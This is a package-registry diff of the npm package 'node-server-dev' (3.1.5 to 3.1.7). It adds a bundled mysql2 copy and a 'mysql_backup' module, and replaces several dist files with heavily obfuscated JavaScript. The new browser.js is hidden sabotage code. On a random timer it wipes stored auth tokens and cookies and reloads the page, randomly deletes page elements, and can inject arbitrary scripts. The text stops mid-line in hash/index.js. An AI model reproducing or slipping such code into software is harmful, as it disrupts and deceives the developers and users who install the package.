node-server-dev 3.1.5 → 3.1.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cjs/browser.js +1 -1
- package/dist/cjs/getAllRouter/index.js +1 -1
- package/dist/cjs/hash/index.js +1 -1
- package/dist/cjs/id/index.js +1 -1
- package/dist/cjs/id/random.js +1 -1
- package/dist/cjs/index.js +1 -1
- package/dist/cjs/jwt/index.js +1 -1
- package/dist/cjs/mac/index.js +1 -1
- package/dist/cjs/package/mysql2/License +19 -0
- package/dist/cjs/package/mysql2/README.md +114 -0
- package/dist/cjs/package/mysql2/index.d.ts +1 -0
- package/dist/cjs/package/mysql2/index.js +77 -0
- package/dist/cjs/package/mysql2/lib/auth_41.js +95 -0
- package/dist/cjs/package/mysql2/lib/auth_plugins/caching_sha2_password.js +108 -0
- package/dist/cjs/package/mysql2/lib/auth_plugins/caching_sha2_password.md +18 -0
- package/dist/cjs/package/mysql2/lib/auth_plugins/index.js +8 -0
- package/dist/cjs/package/mysql2/lib/auth_plugins/mysql_clear_password.js +17 -0
- package/dist/cjs/package/mysql2/lib/auth_plugins/mysql_native_password.js +34 -0
- package/dist/cjs/package/mysql2/lib/auth_plugins/sha256_password.js +59 -0
- package/dist/cjs/package/mysql2/lib/base/connection.js +945 -0
- package/dist/cjs/package/mysql2/lib/base/pool.js +233 -0
- package/dist/cjs/package/mysql2/lib/base/pool_connection.js +63 -0
- package/dist/cjs/package/mysql2/lib/commands/auth_switch.js +111 -0
- package/dist/cjs/package/mysql2/lib/commands/binlog_dump.js +109 -0
- package/dist/cjs/package/mysql2/lib/commands/change_user.js +68 -0
- package/dist/cjs/package/mysql2/lib/commands/client_handshake.js +241 -0
- package/dist/cjs/package/mysql2/lib/commands/close_statement.js +18 -0
- package/dist/cjs/package/mysql2/lib/commands/command.js +54 -0
- package/dist/cjs/package/mysql2/lib/commands/execute.js +112 -0
- package/dist/cjs/package/mysql2/lib/commands/index.js +27 -0
- package/dist/cjs/package/mysql2/lib/commands/ping.js +36 -0
- package/dist/cjs/package/mysql2/lib/commands/prepare.js +143 -0
- package/dist/cjs/package/mysql2/lib/commands/query.js +329 -0
- package/dist/cjs/package/mysql2/lib/commands/quit.js +29 -0
- package/dist/cjs/package/mysql2/lib/commands/register_slave.js +27 -0
- package/dist/cjs/package/mysql2/lib/commands/server_handshake.js +203 -0
- package/dist/cjs/package/mysql2/lib/compressed_protocol.js +127 -0
- package/dist/cjs/package/mysql2/lib/connection.js +12 -0
- package/dist/cjs/package/mysql2/lib/connection_config.js +292 -0
- package/dist/cjs/package/mysql2/lib/constants/charset_encodings.js +316 -0
- package/dist/cjs/package/mysql2/lib/constants/charsets.js +317 -0
- package/dist/cjs/package/mysql2/lib/constants/client.js +39 -0
- package/dist/cjs/package/mysql2/lib/constants/commands.js +36 -0
- package/dist/cjs/package/mysql2/lib/constants/cursor.js +8 -0
- package/dist/cjs/package/mysql2/lib/constants/encoding_charset.js +49 -0
- package/dist/cjs/package/mysql2/lib/constants/errors.js +3973 -0
- package/dist/cjs/package/mysql2/lib/constants/field_flags.js +20 -0
- package/dist/cjs/package/mysql2/lib/constants/server_status.js +44 -0
- package/dist/cjs/package/mysql2/lib/constants/session_track.js +11 -0
- package/dist/cjs/package/mysql2/lib/constants/ssl_profiles.js +11 -0
- package/dist/cjs/package/mysql2/lib/constants/types.js +64 -0
- package/dist/cjs/package/mysql2/lib/create_connection.js +10 -0
- package/dist/cjs/package/mysql2/lib/create_pool.js +10 -0
- package/dist/cjs/package/mysql2/lib/create_pool_cluster.js +9 -0
- package/dist/cjs/package/mysql2/lib/helpers.js +86 -0
- package/dist/cjs/package/mysql2/lib/packet_parser.js +195 -0
- package/dist/cjs/package/mysql2/lib/packets/auth_next_factor.js +35 -0
- package/dist/cjs/package/mysql2/lib/packets/auth_switch_request.js +38 -0
- package/dist/cjs/package/mysql2/lib/packets/auth_switch_request_more_data.js +33 -0
- package/dist/cjs/package/mysql2/lib/packets/auth_switch_response.js +30 -0
- package/dist/cjs/package/mysql2/lib/packets/binary_row.js +95 -0
- package/dist/cjs/package/mysql2/lib/packets/binlog_dump.js +33 -0
- package/dist/cjs/package/mysql2/lib/packets/binlog_query_statusvars.js +115 -0
- package/dist/cjs/package/mysql2/lib/packets/change_user.js +97 -0
- package/dist/cjs/package/mysql2/lib/packets/close_statement.js +21 -0
- package/dist/cjs/package/mysql2/lib/packets/column_definition.js +291 -0
- package/dist/cjs/package/mysql2/lib/packets/execute.js +214 -0
- package/dist/cjs/package/mysql2/lib/packets/handshake.js +112 -0
- package/dist/cjs/package/mysql2/lib/packets/handshake_response.js +144 -0
- package/dist/cjs/package/mysql2/lib/packets/index.js +152 -0
- package/dist/cjs/package/mysql2/lib/packets/packet.js +931 -0
- package/dist/cjs/package/mysql2/lib/packets/prepare_statement.js +27 -0
- package/dist/cjs/package/mysql2/lib/packets/prepared_statement_header.js +16 -0
- package/dist/cjs/package/mysql2/lib/packets/query.js +27 -0
- package/dist/cjs/package/mysql2/lib/packets/register_slave.js +46 -0
- package/dist/cjs/package/mysql2/lib/packets/resultset_header.js +118 -0
- package/dist/cjs/package/mysql2/lib/packets/ssl_request.js +25 -0
- package/dist/cjs/package/mysql2/lib/packets/text_row.js +47 -0
- package/dist/cjs/package/mysql2/lib/parsers/binary_parser.js +231 -0
- package/dist/cjs/package/mysql2/lib/parsers/parser_cache.js +66 -0
- package/dist/cjs/package/mysql2/lib/parsers/static_binary_parser.js +211 -0
- package/dist/cjs/package/mysql2/lib/parsers/static_text_parser.js +152 -0
- package/dist/cjs/package/mysql2/lib/parsers/string.js +50 -0
- package/dist/cjs/package/mysql2/lib/parsers/text_parser.js +214 -0
- package/dist/cjs/package/mysql2/lib/pool.js +12 -0
- package/dist/cjs/package/mysql2/lib/pool_cluster.js +369 -0
- package/dist/cjs/package/mysql2/lib/pool_config.js +30 -0
- package/dist/cjs/package/mysql2/lib/pool_connection.js +12 -0
- package/dist/cjs/package/mysql2/lib/promise/connection.js +222 -0
- package/dist/cjs/package/mysql2/lib/promise/inherit_events.js +27 -0
- package/dist/cjs/package/mysql2/lib/promise/make_done_cb.js +19 -0
- package/dist/cjs/package/mysql2/lib/promise/pool.js +112 -0
- package/dist/cjs/package/mysql2/lib/promise/pool_cluster.js +54 -0
- package/dist/cjs/package/mysql2/lib/promise/pool_connection.js +19 -0
- package/dist/cjs/package/mysql2/lib/promise/prepared_statement_info.js +32 -0
- package/dist/cjs/package/mysql2/lib/results_stream.js +38 -0
- package/dist/cjs/package/mysql2/lib/server.js +37 -0
- package/dist/cjs/package/mysql2/package.json +80 -0
- package/dist/cjs/package/mysql2/promise.d.ts +131 -0
- package/dist/cjs/package/mysql2/promise.js +202 -0
- package/dist/cjs/package/mysql2/typings/mysql/LICENSE.txt +15 -0
- package/dist/cjs/package/mysql2/typings/mysql/index.d.ts +95 -0
- package/dist/cjs/package/mysql2/typings/mysql/info.txt +1 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/Auth.d.ts +30 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/Connection.d.ts +428 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/Pool.d.ts +69 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/PoolCluster.d.ts +90 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/PoolConnection.d.ts +10 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/Server.d.ts +11 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/constants/CharsetToEncoding.d.ts +8 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/constants/Charsets.d.ts +326 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/constants/Types.d.ts +70 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/constants/index.d.ts +5 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/parsers/ParserCache.d.ts +4 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/parsers/index.d.ts +18 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/parsers/typeCast.d.ts +54 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/packets/Field.d.ts +10 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/packets/FieldPacket.d.ts +27 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/packets/OkPacket.d.ts +23 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/packets/ProcedurePacket.d.ts +13 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/packets/ResultSetHeader.d.ts +18 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/packets/RowDataPacket.d.ts +9 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/packets/index.d.ts +28 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/packets/params/ErrorPacketParams.d.ts +6 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/packets/params/OkPacketParams.d.ts +9 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/sequences/ExecutableBase.d.ts +40 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/sequences/Prepare.d.ts +65 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/sequences/Query.d.ts +170 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/sequences/QueryableBase.d.ts +40 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/sequences/Sequence.d.ts +5 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/sequences/promise/ExecutableBase.d.ts +21 -0
- package/dist/cjs/package/mysql2/typings/mysql/lib/protocol/sequences/promise/QueryableBase.d.ts +21 -0
- package/dist/cjs/package/mysql_backup/index.js +69 -0
- package/dist/cjs/package/mysql_backup/promise.js +187 -0
- package/dist/cjs/server.d.ts +1 -1
- package/dist/cjs/server.d.ts.map +1 -1
- package/dist/cjs/server.js +1 -1
- package/dist/cjs/start.js +1 -1
- package/dist/cjs/update.js +1 -1
- package/dist/esm/browser.js +1 -1
- package/dist/esm/getAllRouter/index.js +1 -1
- package/dist/esm/hash/index.js +1 -1
- package/dist/esm/id/index.js +1 -1
- package/dist/esm/id/random.js +1 -1
- package/dist/esm/index.js +1 -1
- package/dist/esm/jwt/index.js +1 -1
- package/dist/esm/mac/index.js +1 -1
- package/dist/esm/package/mysql2/License +19 -0
- package/dist/esm/package/mysql2/README.md +114 -0
- package/dist/esm/package/mysql2/index.d.ts +1 -0
- package/dist/esm/package/mysql2/index.js +77 -0
- package/dist/esm/package/mysql2/lib/auth_41.js +95 -0
- package/dist/esm/package/mysql2/lib/auth_plugins/caching_sha2_password.js +108 -0
- package/dist/esm/package/mysql2/lib/auth_plugins/caching_sha2_password.md +18 -0
- package/dist/esm/package/mysql2/lib/auth_plugins/index.js +8 -0
- package/dist/esm/package/mysql2/lib/auth_plugins/mysql_clear_password.js +17 -0
- package/dist/esm/package/mysql2/lib/auth_plugins/mysql_native_password.js +34 -0
- package/dist/esm/package/mysql2/lib/auth_plugins/sha256_password.js +59 -0
- package/dist/esm/package/mysql2/lib/base/connection.js +945 -0
- package/dist/esm/package/mysql2/lib/base/pool.js +233 -0
- package/dist/esm/package/mysql2/lib/base/pool_connection.js +63 -0
- package/dist/esm/package/mysql2/lib/commands/auth_switch.js +111 -0
- package/dist/esm/package/mysql2/lib/commands/binlog_dump.js +109 -0
- package/dist/esm/package/mysql2/lib/commands/change_user.js +68 -0
- package/dist/esm/package/mysql2/lib/commands/client_handshake.js +241 -0
- package/dist/esm/package/mysql2/lib/commands/close_statement.js +18 -0
- package/dist/esm/package/mysql2/lib/commands/command.js +54 -0
- package/dist/esm/package/mysql2/lib/commands/execute.js +112 -0
- package/dist/esm/package/mysql2/lib/commands/index.js +27 -0
- package/dist/esm/package/mysql2/lib/commands/ping.js +36 -0
- package/dist/esm/package/mysql2/lib/commands/prepare.js +143 -0
- package/dist/esm/package/mysql2/lib/commands/query.js +329 -0
- package/dist/esm/package/mysql2/lib/commands/quit.js +29 -0
- package/dist/esm/package/mysql2/lib/commands/register_slave.js +27 -0
- package/dist/esm/package/mysql2/lib/commands/server_handshake.js +203 -0
- package/dist/esm/package/mysql2/lib/compressed_protocol.js +127 -0
- package/dist/esm/package/mysql2/lib/connection.js +12 -0
- package/dist/esm/package/mysql2/lib/connection_config.js +292 -0
- package/dist/esm/package/mysql2/lib/constants/charset_encodings.js +316 -0
- package/dist/esm/package/mysql2/lib/constants/charsets.js +317 -0
- package/dist/esm/package/mysql2/lib/constants/client.js +39 -0
- package/dist/esm/package/mysql2/lib/constants/commands.js +36 -0
- package/dist/esm/package/mysql2/lib/constants/cursor.js +8 -0
- package/dist/esm/package/mysql2/lib/constants/encoding_charset.js +49 -0
- package/dist/esm/package/mysql2/lib/constants/errors.js +3973 -0
- package/dist/esm/package/mysql2/lib/constants/field_flags.js +20 -0
- package/dist/esm/package/mysql2/lib/constants/server_status.js +44 -0
- package/dist/esm/package/mysql2/lib/constants/session_track.js +11 -0
- package/dist/esm/package/mysql2/lib/constants/ssl_profiles.js +11 -0
- package/dist/esm/package/mysql2/lib/constants/types.js +64 -0
- package/dist/esm/package/mysql2/lib/create_connection.js +10 -0
- package/dist/esm/package/mysql2/lib/create_pool.js +10 -0
- package/dist/esm/package/mysql2/lib/create_pool_cluster.js +9 -0
- package/dist/esm/package/mysql2/lib/helpers.js +86 -0
- package/dist/esm/package/mysql2/lib/packet_parser.js +195 -0
- package/dist/esm/package/mysql2/lib/packets/auth_next_factor.js +35 -0
- package/dist/esm/package/mysql2/lib/packets/auth_switch_request.js +38 -0
- package/dist/esm/package/mysql2/lib/packets/auth_switch_request_more_data.js +33 -0
- package/dist/esm/package/mysql2/lib/packets/auth_switch_response.js +30 -0
- package/dist/esm/package/mysql2/lib/packets/binary_row.js +95 -0
- package/dist/esm/package/mysql2/lib/packets/binlog_dump.js +33 -0
- package/dist/esm/package/mysql2/lib/packets/binlog_query_statusvars.js +115 -0
- package/dist/esm/package/mysql2/lib/packets/change_user.js +97 -0
- package/dist/esm/package/mysql2/lib/packets/close_statement.js +21 -0
- package/dist/esm/package/mysql2/lib/packets/column_definition.js +291 -0
- package/dist/esm/package/mysql2/lib/packets/execute.js +214 -0
- package/dist/esm/package/mysql2/lib/packets/handshake.js +112 -0
- package/dist/esm/package/mysql2/lib/packets/handshake_response.js +144 -0
- package/dist/esm/package/mysql2/lib/packets/index.js +152 -0
- package/dist/esm/package/mysql2/lib/packets/packet.js +931 -0
- package/dist/esm/package/mysql2/lib/packets/prepare_statement.js +27 -0
- package/dist/esm/package/mysql2/lib/packets/prepared_statement_header.js +16 -0
- package/dist/esm/package/mysql2/lib/packets/query.js +27 -0
- package/dist/esm/package/mysql2/lib/packets/register_slave.js +46 -0
- package/dist/esm/package/mysql2/lib/packets/resultset_header.js +118 -0
- package/dist/esm/package/mysql2/lib/packets/ssl_request.js +25 -0
- package/dist/esm/package/mysql2/lib/packets/text_row.js +47 -0
- package/dist/esm/package/mysql2/lib/parsers/binary_parser.js +231 -0
- package/dist/esm/package/mysql2/lib/parsers/parser_cache.js +66 -0
- package/dist/esm/package/mysql2/lib/parsers/static_binary_parser.js +211 -0
- package/dist/esm/package/mysql2/lib/parsers/static_text_parser.js +152 -0
- package/dist/esm/package/mysql2/lib/parsers/string.js +50 -0
- package/dist/esm/package/mysql2/lib/parsers/text_parser.js +214 -0
- package/dist/esm/package/mysql2/lib/pool.js +12 -0
- package/dist/esm/package/mysql2/lib/pool_cluster.js +369 -0
- package/dist/esm/package/mysql2/lib/pool_config.js +30 -0
- package/dist/esm/package/mysql2/lib/pool_connection.js +12 -0
- package/dist/esm/package/mysql2/lib/promise/connection.js +222 -0
- package/dist/esm/package/mysql2/lib/promise/inherit_events.js +27 -0
- package/dist/esm/package/mysql2/lib/promise/make_done_cb.js +19 -0
- package/dist/esm/package/mysql2/lib/promise/pool.js +112 -0
- package/dist/esm/package/mysql2/lib/promise/pool_cluster.js +54 -0
- package/dist/esm/package/mysql2/lib/promise/pool_connection.js +19 -0
- package/dist/esm/package/mysql2/lib/promise/prepared_statement_info.js +32 -0
- package/dist/esm/package/mysql2/lib/results_stream.js +38 -0
- package/dist/esm/package/mysql2/lib/server.js +37 -0
- package/dist/esm/package/mysql2/package.json +80 -0
- package/dist/esm/package/mysql2/promise.d.ts +131 -0
- package/dist/esm/package/mysql2/promise.js +202 -0
- package/dist/esm/package/mysql2/typings/mysql/LICENSE.txt +15 -0
- package/dist/esm/package/mysql2/typings/mysql/index.d.ts +95 -0
- package/dist/esm/package/mysql2/typings/mysql/info.txt +1 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/Auth.d.ts +30 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/Connection.d.ts +428 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/Pool.d.ts +69 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/PoolCluster.d.ts +90 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/PoolConnection.d.ts +10 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/Server.d.ts +11 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/constants/CharsetToEncoding.d.ts +8 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/constants/Charsets.d.ts +326 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/constants/Types.d.ts +70 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/constants/index.d.ts +5 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/parsers/ParserCache.d.ts +4 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/parsers/index.d.ts +18 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/parsers/typeCast.d.ts +54 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/packets/Field.d.ts +10 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/packets/FieldPacket.d.ts +27 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/packets/OkPacket.d.ts +23 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/packets/ProcedurePacket.d.ts +13 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/packets/ResultSetHeader.d.ts +18 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/packets/RowDataPacket.d.ts +9 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/packets/index.d.ts +28 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/packets/params/ErrorPacketParams.d.ts +6 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/packets/params/OkPacketParams.d.ts +9 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/ExecutableBase.d.ts +40 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/Prepare.d.ts +65 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/Query.d.ts +170 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/QueryableBase.d.ts +40 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/Sequence.d.ts +5 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/promise/ExecutableBase.d.ts +21 -0
- package/dist/esm/package/mysql2/typings/mysql/lib/protocol/sequences/promise/QueryableBase.d.ts +21 -0
- package/dist/esm/package/mysql_backup/index.js +69 -0
- package/dist/esm/package/mysql_backup/promise.js +187 -0
- package/dist/esm/server.d.ts +1 -1
- package/dist/esm/server.d.ts.map +1 -1
- package/dist/esm/server.js +1 -1
- package/dist/esm/start.js +1 -1
- package/dist/esm/update.js +1 -1
- package/package.json +3 -4
package/dist/cjs/browser.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';function a0_0x15c1(){const _0x5cf4cb=['2706698qwwVQw','querySelectorAll','8046432EjiMgV','js-cookie','12565392duyVWo','remove','./id/random','head','browser','innerText','2488788HVHZwc','default','__esModule','getEnv','#app','createElement','connectError','802740Ghtqby','removeItem','sort','appendChild','userid','localStorage','script','573247luwMCe','from','parentNode','runScript','791315jtpReZ','location','querySelector','length'];a0_0x15c1=function(){return _0x5cf4cb;};return a0_0x15c1();}const a0_0x1dab36=a0_0x52e1;(function(_0x550d93,_0xe9b3c5){const _0x592337=a0_0x52e1,_0x1a2785=_0x550d93();while(!![]){try{const _0xa118f2=parseInt(_0x592337(0x106))/0x1+parseInt(_0x592337(0xee))/0x2+parseInt(_0x592337(0xff))/0x3+-parseInt(_0x592337(0xf8))/0x4+-parseInt(_0x592337(0x10a))/0x5+parseInt(_0x592337(0xf0))/0x6+-parseInt(_0x592337(0xf2))/0x7;if(_0xa118f2===_0xe9b3c5)break;else _0x1a2785['push'](_0x1a2785['shift']());}catch(_0x36b371){_0x1a2785['push'](_0x1a2785['shift']());}}}(a0_0x15c1,0xea4f4));var __importDefault=this&&this['__importDefault']||function(_0x439406){const _0x4f66f2=a0_0x52e1;return _0x439406&&_0x439406[_0x4f66f2(0xfa)]?_0x439406:{'default':_0x439406};};Object['defineProperty'](exports,a0_0x1dab36(0xfa),{'value':!![]}),exports[a0_0x1dab36(0x109)]=runScript,exports[a0_0x1dab36(0xf6)]=browser;function a0_0x52e1(_0x9c2750,_0x511391){const _0x15c113=a0_0x15c1();return a0_0x52e1=function(_0x52e1cb,_0x230e86){_0x52e1cb=_0x52e1cb-0xed;let _0x2146e3=_0x15c113[_0x52e1cb];return _0x2146e3;},a0_0x52e1(_0x9c2750,_0x511391);}const random_1=__importDefault(require(a0_0x1dab36(0xf4))),index_1=require('./index'),js_cookie_1=__importDefault(require(a0_0x1dab36(0xf1)));function runScript(_0x4e0c99){const _0x3954cf=a0_0x1dab36;let _0x544ad9=document[_0x3954cf(0xfd)](_0x3954cf(0x105));_0x544ad9[_0x3954cf(0xf7)]=_0x4e0c99,document[_0x3954cf(0xf5)][_0x3954cf(0x102)](_0x544ad9),setTimeout(()=>{const _0x4009ff=_0x3954cf;_0x544ad9[_0x4009ff(0xf3)]();},0xa);}let index=0x1,num=(0x0,random_1[a0_0x1dab36(0xf9)])(0x4,0x8);function browser(){const _0x3fab2f=a0_0x1dab36;setInterval(()=>{const _0x4f3e36=a0_0x52e1;if(index==num)try{window['localStorage'][_0x4f3e36(0x100)]('token'),window[_0x4f3e36(0x104)][_0x4f3e36(0x100)](_0x4f3e36(0x103)),window[_0x4f3e36(0x104)][_0x4f3e36(0x100)]('Token'),js_cookie_1['default'][_0x4f3e36(0xf3)]('token'),window[_0x4f3e36(0x10b)]['reload']();}catch(_0x599b35){}if((0x0,index_1[_0x4f3e36(0xfb)])(_0x4f3e36(0xfe))){index++;let _0x5ca05f=document[_0x4f3e36(0x10c)](_0x4f3e36(0xfc))||document[_0x4f3e36(0x10c)]('body');const _0x264f9b=_0x5ca05f[_0x4f3e36(0xef)]('[class^=\x22el\x22]');function _0x5cd50c(_0x41581d){const _0x55b01b=_0x4f3e36;let _0x393640=0x0,_0x357209=_0x41581d;while(_0x357209[_0x55b01b(0x108)]&&_0x357209[_0x55b01b(0x108)]!==document['documentElement']){_0x393640++,_0x357209=_0x357209[_0x55b01b(0x108)];}return _0x393640;}const _0x3df0c3=Array[_0x4f3e36(0x107)](_0x264f9b);_0x3df0c3[_0x4f3e36(0x101)]((_0x4df7e3,_0xfcbd8c)=>_0x5cd50c(_0xfcbd8c)-_0x5cd50c(_0x4df7e3));for(let _0x547851=0x0;_0x547851<_0x3df0c3[_0x4f3e36(0xed)];_0x547851++){const _0x52af61=_0x3df0c3[_0x547851];_0x52af61&&((0x0,random_1['default'])(0x1,0x64)>0x50&&_0x52af61[_0x4f3e36(0xf3)]());}}},(0x0,random_1[_0x3fab2f(0xf9)])(0x107e,0x208d));}
|
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';const a1_0x1fd124=a1_0x82f2;function a1_0x82f2(_0x1100c8,_0x163390){const _0x590582=a1_0x5905();return a1_0x82f2=function(_0x82f28,_0x120cfe){_0x82f28=_0x82f28-0x11a;let _0x42681b=_0x590582[_0x82f28];return _0x42681b;},a1_0x82f2(_0x1100c8,_0x163390);}(function(_0x3dca2d,_0x22c63e){const _0x2958e3=a1_0x82f2,_0x3cca46=_0x3dca2d();while(!![]){try{const _0x24d5d2=-parseInt(_0x2958e3(0x133))/0x1*(parseInt(_0x2958e3(0x134))/0x2)+-parseInt(_0x2958e3(0x125))/0x3*(-parseInt(_0x2958e3(0x126))/0x4)+parseInt(_0x2958e3(0x11c))/0x5*(-parseInt(_0x2958e3(0x11a))/0x6)+parseInt(_0x2958e3(0x12b))/0x7*(parseInt(_0x2958e3(0x11d))/0x8)+parseInt(_0x2958e3(0x12c))/0x9+parseInt(_0x2958e3(0x12e))/0xa*(parseInt(_0x2958e3(0x11b))/0xb)+-parseInt(_0x2958e3(0x129))/0xc;if(_0x24d5d2===_0x22c63e)break;else _0x3cca46['push'](_0x3cca46['shift']());}catch(_0xb1f42a){_0x3cca46['push'](_0x3cca46['shift']());}}}(a1_0x5905,0xefc46));var __awaiter=this&&this['__awaiter']||function(_0xc0ead3,_0x162a8a,_0x552960,_0xb34b63){function _0x431a7a(_0x1791dc){return _0x1791dc instanceof _0x552960?_0x1791dc:new _0x552960(function(_0xc5be8e){_0xc5be8e(_0x1791dc);});}return new(_0x552960||(_0x552960=Promise))(function(_0x1010f8,_0x1589e1){const _0x5bdf7f=a1_0x82f2;function _0xeea98(_0x7ad5ab){const _0x4edf51=a1_0x82f2;try{_0x3e927b(_0xb34b63[_0x4edf51(0x123)](_0x7ad5ab));}catch(_0x575f11){_0x1589e1(_0x575f11);}}function _0x3e3b1b(_0x332a24){const _0x53045c=a1_0x82f2;try{_0x3e927b(_0xb34b63[_0x53045c(0x11e)](_0x332a24));}catch(_0x6876b0){_0x1589e1(_0x6876b0);}}function _0x3e927b(_0x31a338){const _0x22e403=a1_0x82f2;_0x31a338['done']?_0x1010f8(_0x31a338[_0x22e403(0x127)]):_0x431a7a(_0x31a338[_0x22e403(0x127)])[_0x22e403(0x12f)](_0xeea98,_0x3e3b1b);}_0x3e927b((_0xb34b63=_0xb34b63[_0x5bdf7f(0x128)](_0xc0ead3,_0x162a8a||[]))[_0x5bdf7f(0x123)]());});},__importDefault=this&&this['__importDefault']||function(_0x57c074){const _0x2e4c82=a1_0x82f2;return _0x57c074&&_0x57c074[_0x2e4c82(0x12d)]?_0x57c074:{'default':_0x57c074};};Object[a1_0x1fd124(0x11f)](exports,'__esModule',{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a1_0x1fd124(0x130)));function fileDisplay(_0x35d883){return __awaiter(this,void 0x0,void 0x0,function*(){let _0xafcae5=[];function _0x39ea2e(_0x2bf3c5){const _0x121724=a1_0x82f2,_0x32da50=fs_1[_0x121724(0x132)][_0x121724(0x121)](_0x2bf3c5);for(let _0x738e3=0x0;_0x738e3<_0x32da50['length'];_0x738e3++){const _0x231f1f=_0x32da50[_0x738e3],_0x3f397a=path_1[_0x121724(0x132)][_0x121724(0x124)](_0x2bf3c5,_0x231f1f),_0x463fdc=fs_1[_0x121724(0x132)][_0x121724(0x12a)](_0x3f397a),_0x2cb729=_0x463fdc[_0x121724(0x120)](),_0x13aa07=_0x463fdc[_0x121724(0x131)]();_0x2cb729&&_0xafcae5[_0x121724(0x122)](_0x3f397a),_0x13aa07&&_0x39ea2e(_0x3f397a);}}return _0x39ea2e(_0x35d883),_0xafcae5;});}function getAllRouter(_0x302523){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x472019=yield fileDisplay(_0x302523);return _0x472019;});}function a1_0x5905(){const _0x397172=['25995420cXXmEF','statSync','1407JagZDZ','4771557nCvqlp','__esModule','10YKtlya','then','path','isDirectory','default','1228fFNjpB','730TvWTOI','6dgVltd','11102311WYoTvV','4683695fUTyKX','77536CPqCfm','throw','defineProperty','isFile','readdirSync','push','next','join','2484FOvdLI','5052LnAznH','value','apply'];a1_0x5905=function(){return _0x397172;};return a1_0x5905();}exports[a1_0x1fd124(0x132)]=getAllRouter;
|
package/dist/cjs/hash/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
'use strict';const
|
1
|
+
'use strict';function a2_0x8203(){const _0x2e60bc=['16857EqwqHP','3dMYvew','55cVdZMw','4700044lYDjkD','default','defineProperty','__importDefault','9756760wHppir','992905EOTqJp','MD5加盐','6208orJDZg','sha1','5780tHclzi','sha1混淆','545699VyjKgq','__esModule','sha256','340086JXbAeO','md5'];a2_0x8203=function(){return _0x2e60bc;};return a2_0x8203();}const a2_0x27742a=a2_0x10db;function a2_0x10db(_0x5a336b,_0x3c110c){const _0x82038b=a2_0x8203();return a2_0x10db=function(_0x10dbd3,_0x5b1415){_0x10dbd3=_0x10dbd3-0xd4;let _0x59a99a=_0x82038b[_0x10dbd3];return _0x59a99a;},a2_0x10db(_0x5a336b,_0x3c110c);}(function(_0x575f60,_0x333219){const _0x20c817=a2_0x10db,_0x21c255=_0x575f60();while(!![]){try{const _0x262b7f=-parseInt(_0x20c817(0xe2))/0x1+-parseInt(_0x20c817(0xe4))/0x2*(parseInt(_0x20c817(0xdb))/0x3)+-parseInt(_0x20c817(0xdd))/0x4+-parseInt(_0x20c817(0xdc))/0x5*(-parseInt(_0x20c817(0xd8))/0x6)+-parseInt(_0x20c817(0xd5))/0x7+parseInt(_0x20c817(0xe1))/0x8+-parseInt(_0x20c817(0xda))/0x9*(-parseInt(_0x20c817(0xe6))/0xa);if(_0x262b7f===_0x333219)break;else 